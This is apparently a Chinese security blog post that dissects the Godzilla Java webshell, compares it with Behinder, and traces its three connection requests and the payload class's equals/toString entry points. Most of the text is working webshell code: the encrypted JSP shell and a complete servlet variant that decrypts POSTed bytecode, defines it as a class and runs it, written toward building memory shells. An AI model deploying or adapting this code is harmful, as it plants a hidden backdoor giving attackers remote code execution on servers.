HttpSession session = lastRequest.getSession();
pageContext.put("request", lastRequest);
pageContext.put("response", lastResponse);
pageContext.put("session", session);
能这么写的原因是因为冰蝎做了处理
会从传入的obj中分别取到request、response、session。
而哥斯拉没有这么做,如何破局?
哥斯拉是基于动态加载class字节码实现的webshell工具。
先看一下jsp的shell
<%! String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc); class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
....省略加密解密的函数....
%>
<%
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f=((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
}
%>
先判断session中payload是否为空,如果为空就用classloader加载解密之后的字节码data。
如果不为空将data赋值到session的parameters参数,然后从session中拿到定义的payload类,创建实例再进行了两次equals和一次tostring,两次equals分别传入ByteArrayOutputStream和pageContext。
通过bp代理看一下“测试连接”的过程
点完测试连接后bp多了两个请求
再点success的确定按钮后又多了一个请求。
一共三个请求,这三个请求分别干了什么?
为了调试,我们需要反编译哥斯拉源码找到
godzilla\shells\payloads\java\assets\payload.classs
文件,反编译回来后在idea项目中创建一个payload类,将源码粘贴进去。另外还需要关闭idea的自动tostring。
然后修改jsp让其加载我们自己的payload.class而非从session中加载
<%
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) Class.forName("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
}
%>
payload类是哥斯拉的功能实现类,其中有多个函数比如文件操作、命令执行等功能实现
而入口在equals()函数
handle()是真正的逻辑,noLog是不记录tomcat连接日志的函数。进入handle看下
public boolean handle(Object obj) {
if (obj == null) {
return false;
} else {
Class streamClazz = ByteArrayOutputStreamClazz;
if (streamClazz == null) {
try {
streamClazz = Class.forName("java.io.ByteArrayOutputStream");
} catch (ClassNotFoundException var7) {
throw new NoClassDefFoundError(var7.getMessage());
} ByteArrayOutputStreamClazz = streamClazz;
}
if (streamClazz.isAssignableFrom(obj.getClass())) {
this.outputStream = (ByteArrayOutputStream) obj;
return false;
} else {
if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
this.servletRequest = obj;
} else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {
this.servletRequest = obj;
} else {
streamClazz = byteArrayClazz;
if (streamClazz == null) {
try {
streamClazz = Class.forName("[B");
} catch (ClassNotFoundException var6) {
throw new NoClassDefFoundError(var6.getMessage());
}
byteArrayClazz = streamClazz;
}
if (streamClazz.isAssignableFrom(obj.getClass())) {
this.requestData = (byte[]) obj;
} else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {
this.httpSession = obj;
}
}
this.handlePayloadContext(obj);
if (this.servletRequest != null && this.requestData == null) {
Object var10001 = this.servletRequest;
Class[] var10003 = new Class[1];
Class var10006 = stringClazz;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var5) {
throw new NoClassDefFoundError(var5.getMessage());
}
stringClazz = var10006;
}
var10003[0] = var10006;
Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});
if (retVObject != null) {
streamClazz = byteArrayClazz;
if (streamClazz == null) {
try {
streamClazz = Class.forName("[B");
} catch (ClassNotFoundException var4) {
throw new NoClassDefFoundError(var4.getMessage());
}
byteArrayClazz = streamClazz;
}
if (streamClazz.isAssignableFrom(retVObject.getClass())) {
this.requestData = (byte[]) retVObject;
}
}
}
return true;
}
}
}
分段来看,第一次equals的时候传入的是ByteArrayOutputStream实例
将其赋值给this.outputStream,this.outputStream是输出流,存储了response内容。
第二段equals的是pagecontext
先填充request,然后判断是否是session,如果是字节数组则说明是post参数 this.requestData = (byte[]) obj;
如果是HttpSession实例则放入this.httpSession
接着handlePayloadContext()填充request上下文和session
然后调用session.getAttribute("parameters")
拿到requestData
第三段是toString
initSessionMap()初始化一个sessionMap放一些信息,然后formatParameter格式化参数map,然后this.run()
在formatParameter()函数中向参数map中放键值对
给他打印出来看一看,bp三个请求打印了两个键值对
第一个请求是加载class字节码的,然后第二个第三个请求时调用字节码功能,通过methodName来调用。接着run()完之后写输出。
那么请求流程就到这里,接下来看如何解决
上文讲到,requestData是post body,我们传入pagecontext的目的是为了通过session拿到parameters,那么如果我们抛弃session,直接把parameters通过equals函数传给payload类呢?
bp第一个请求是加载字节码,我们通过defClass加载进去,然后第二个请求分为四个阶段
equals传入ByteArrayOutputStream实例填充outputStream
equals传递解码之后的data填充requestData
equals传递HttpServletRequest填充request
toString写response输出结果
而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext
package com.example.demo3;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public Class defClass(byte[] classBytes) throws Throwable {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
byte[] data = base64Decode(req.getParameter(pass));
data = x(data, false);
if (payload == null) {
payload = defClass(data);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(req);
resp.getWriter().write(md5.substring(0, 16));
f.toString();
resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
resp.getWriter().write(md5.substring(16));
}
} catch (Throwable e) {
}
}
}
其实完整代码还是北辰发我的,我只是探究了一下其原因,这种pagecontext的问题还是得深入看工具的功能实现才能解决问题。
另外自己在写冰蝎内存马的时候遇到了包装类的问题,而哥斯拉不存在这个问题。因为哥斯拉是通过参数传递的payload,而冰蝎是直接把字节码放在了body中。
只能说哥斯拉yyds!
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